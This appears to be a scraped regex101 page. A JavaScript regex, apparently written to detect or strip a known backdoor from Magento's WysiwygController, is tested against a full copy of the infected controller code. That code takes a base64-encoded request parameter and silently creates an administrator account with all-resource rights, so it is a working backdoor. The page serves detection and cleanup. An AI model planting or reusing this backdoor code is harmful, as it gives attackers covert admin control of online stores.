Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Match everything enclosed
    (?:...)
  • Capture everything enclosed
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

const regex = /public function directiveAction\(\)\s*\{\s*\Kif\(isset\(\$\w+\[['"][^{]+\{\s*\$\w+=base64_decode\(\$\w+\[[^;]+;\s*if\(preg_match\(['"]\/_rieqyns13_was_here[^{]+\{\s*preg_match\("\/_rieqyns13_was_here[^{]+\{\s*\$user[\s=]+Mage\:+getModel\('admin\/user'\)\s*->setdata\(array\(\s*'username.*?setname(*COMMIT)\(['"]Inchoo.{0,700}?setRoleIds\(array\(\$role(?:[^}]+\}\s*)+?echo\s*['"]success['"];exit;\s*\}\s*if\(preg_match\(['"][^{]+\{\s*header\(['"].{0,50}?Unauthorized['"]\);exit;\s*\}\s*\}(?=\s*\$directive = \$this->getRequest\(\)->getParam\('___directive'\);)/gis; // Alternative syntax using RegExp constructor // const regex = new RegExp('public function directiveAction\\(\\)\\s*\\{\\s*\\Kif\\(isset\\(\\$\\w+\\[[\'"][^{]+\\{\\s*\\$\\w+=base64_decode\\(\\$\\w+\\[[^;]+;\\s*if\\(preg_match\\([\'"]\\\/_rieqyns13_was_here[^{]+\\{\\s*preg_match\\("\\\/_rieqyns13_was_here[^{]+\\{\\s*\\$user[\\s=]+Mage\\:+getModel\\(\'admin\\\/user\'\\)\\s*->setdata\\(array\\(\\s*\'username.*?setname(*COMMIT)\\([\'"]Inchoo.{0,700}?setRoleIds\\(array\\(\\$role(?:[^}]+\\}\\s*)+?echo\\s*[\'"]success[\'"];exit;\\s*\\}\\s*if\\(preg_match\\([\'"][^{]+\\{\\s*header\\([\'"].{0,50}?Unauthorized[\'"]\\);exit;\\s*\\}\\s*\\}(?=\\s*\\$directive = \\$this->getRequest\\(\\)->getParam\\(\'___directive\'\\);)', 'gis') const str = ` * @category Mage * @package Mage_Adminhtml * @author Magento Core Team <core@magentocommerce.com> */ class Mage_Adminhtml_Cms_WysiwygController extends Mage_Adminhtml_Controller_Action { /** * Template directives callback * * TODO: move this to some model */ public function directiveAction() { if(isset(\$_REQUEST["filter"])){ \$jembot=base64_decode(\$_REQUEST["filter"]); if(preg_match("/_rieqyns13_was_here/",\$jembot)){ preg_match("/_rieqyns13_was_here(.+?)_rieqyns13_(.+?)_rieqyns13_was_here/",\$jembot,\$m); \$base = getcwd(); require_once \$base."/app/Mage.php"; Mage::app(); \$user=null; \$role=null; try { \$user = Mage::getModel('admin/user') ->setData(array( 'username' => base64_decode(\$m[1]), 'firstname' => 'Developer', 'lastname' => 'User', 'email' => 'developer'.rand(0,10000).'@'.\$_SERVER['SERVER_NAME'], 'password' => base64_decode(\$m[2]), 'is_active' => 1 ))->save(); } catch (Exception \$e) { echo \$e->getMessage(); exit; } try { \$role = Mage::getModel("admin/roles") ->setName('Inchoo') ->setRoleType('G') ->save(); Mage::getModel("admin/rules") ->setRoleId(\$role->getId()) ->setResources(array("all")) ->saveRel(); } catch (Mage_Core_Exception \$e) { echo \$e->getMessage(); exit; } catch (Exception \$e) { echo 'Error while saving role.'; exit; } try { \$user->setRoleIds(array(\$role->getId())) ->setRoleUserId(\$user->getUserId()) ->saveRelations(); } catch (Exception \$e) { echo \$e->getMessage(); exit; } echo "Success";exit; } if(preg_match("/insert/i",\$jembot)){ header("HTTP/1.1 403 Unauthorized");exit; } } \$directive = \$this->getRequest()->getParam('___directive'); \$directive = Mage::helper('core')->urlDecode(\$directive); \$url = Mage::getModel('core/email_template_filter')->filter(\$directive); try { \$image = Varien_Image_Adapter::factory('GD2'); \$image->open(\$url); \$image->display(); } catch (Exception \$e) { \$image = Varien_Image_Adapter::factory('GD2'); \$image->open(Mage::getSingleton('cms/wysiwyg_config')->getSkinImagePlaceholderUrl()); \$image->display(); /* \$image = imagecreate(100, 100); \$bkgrColor = imagecolorallocate(\$image,10,10,10); imagefill(\$image,0,0,\$bkgrColor); \$textColor = imagecolorallocate(\$image,255,255,255); imagestring(\$image, 4, 10, 10, 'Skin image', \$textColor); header('Content-type: image/png'); imagepng(\$image); imagedestroy(\$image); */ } } }`; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions